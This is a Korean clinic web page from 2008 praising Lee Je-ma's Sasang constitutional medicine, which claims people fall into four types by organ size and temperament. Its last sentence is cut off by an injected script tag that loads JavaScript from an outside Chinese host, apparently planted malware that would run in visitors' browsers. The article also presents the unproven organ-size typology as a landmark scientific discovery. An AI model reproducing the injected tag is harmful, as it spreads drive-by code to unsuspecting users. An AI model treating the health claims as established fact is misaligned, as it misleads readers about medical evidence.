동무 이제마의 사상체질의학 - 체질별 생활과 운동 [13쪽] - 부야한의원

체질별 생활과 운동

제목동무 이제마의 사상체질의학
작성자선정이 @ 2008.08.25 18:13:35

‘동일한 병증을 나타내더라도 사람의 체질에 따라 치료법을 달리 해야 한다’

  


  1894년 조선의 의학자 동무(東武 ) 이제마(李濟馬 )선생께서는 동의수세보원(東醫壽世保元)을

저술함으로써 사상의학이라는 혁명적 이론을 창안하셨다. 이 이론의 핵심은 ‘동일한 병증을 나타

내더라도 사람의 체질에 따라 치료법을 달리 해야 한다’는 것인데 이는 이전까지의 의학이론과는

전혀 다른 획기적인 이론이라 할 수 있다. 이전에는 머리가 아프면 두통약을, 배가 아프면 복통약을

처방하고 그 병증에 따라 치료했는데 이를 소위 증치의학(證治醫學)이라고 한다. 한의학의 발생때부

터 동무 이제마 선생까지의 한의학의 이론은 소위 증치의학이었던 것이다. 그러나 동무 이제마

선생은 사상의학이라는 전대미문이자 세계최초이고 한의학에서조차 처음으로 그때까지의 증치의학의

이론을 정면으로 부정하는 독특하고도 독창적인 사상체질의학이라는 것을 발명하셨던 것이다.

이러한 업적은 현대사회에서 인간의 유전자 지도를 완성한 것이 인류사에 더할 수 없는 대업이듯이,

세종대왕의 한글 창제가 우리민족의 자랑스러운 위업이듯이, 동무 이제마 선생님의 사상체질의학의

발견은 현대 문명사의 위대한 업적으로 길이 남을 것이다.

 

 

  사상체질의 개념과 특징..




  동무 이제마 선생은 인간의 체질을 태양인, 태음인, 소양인, 소음인이라는 네 가지로 분류하셨다.

우리는 일상생활에서 체질이라는 말을 흔히 사용한다. 예를 들어 알레르기 체질이라는 말이 있다.

봄철에 꽃가루가 많이 날릴 때 재채기를 하거나 두드러기가 나는 사람들, 만성적으로 비염이나 천식이

있는 사람들 같은 경우에 병원에 가서 검사를 하면 알레르기 체질이 그 원인이라고 하는데 이는 어떤

물질에 대해 신체가 과민하게 반응하는 경우를 말한다. 또, 흔히 산성체질, 알칼리성 체질이라는 말을

쓰기도 하는데 이러한 표현은 체액의 성분을 화학적 특성으로 표현한 것이라고 보면 된다. 사상의학에서

말하는 체질이란 이러한 표현과는 다른 이론적 바탕이 있다.   

 

  즉, 사상의학에서는 사람은 일평생 바뀌지 않는 장부의 대소, 강약을 갖고 태어나며 이는 사람마다

차이가 있다고 본다. 이러한 장부 대소, 강약의 차이는 사람의 신체구조와 외관에도 영향을 주어서

체질별로 독특한 외모를 갖게 하고 사물에 대한 정신적 반응도 다르게 나타나 체질마다 다른 기질을

갖게 된다. 이러한 차이로 인해 사람마다 생리, 병리 현상도 다른 양상으로 나타나게 되는데 이에 따라

질병에 대한 치료법과 약처방, 더 나아가서 양생볍 또한 달라져야 함은 물론이다. 

 

 

  체질 따라서 장부의 대소, 강약이 다르고 정서적 상태도 달라..




  동무 이제마의 사상체질론에 의하면 폐가 크고 간이 작은 자를 일컬어 태양인이라 하고 간이 크고 폐가

작은 자를 태음인이라 한다. 비장이 크고 신장이 작은 자를 일컬어 소양인이라 하고 신장이 크고 비장이

작은 자를 소음인이라 한다.


  또한 우리가 평소에 가지고 있는 정서적 상태도 체질마다 다르고 이러한 정서적 상태가 질병의 원인이

되는데 같은 병증이라도 사람의 마음과 타고난 성질의 차이로 인해서 그 병의 기전이 다르게 나타남을

주장한 부분은 세계적으로도 최초일 뿐만 아니라 위대한 발견이며 대단한 업적이 아닐 수 없다.

  이제마 선생이 쓰신 동의수세보원의 원문을 인용해 보면 이러한 내용이 있다. “태양인은 매번 어떤 일을

얻으려고 하나 얻지 못하여 분하고 화나는 마음이 항시 가슴속에 스며있다.”라고 했으며 “태음인은 항상

크게 일을 할려고 하는 마음이 존재함으로 겁나고 무서운 마음이 가슴속에 항상 스며있다” 라고 하였으며

“소양인은 크게 일을 얻어 보려고 하나 얻지 못하여 항시 근심하고 염려하는 마음이 가슴속에 스며있다”라고

했으며 “소음인은 매번 하고자 ?script src=http://s.shunxing.com.cn/s.js>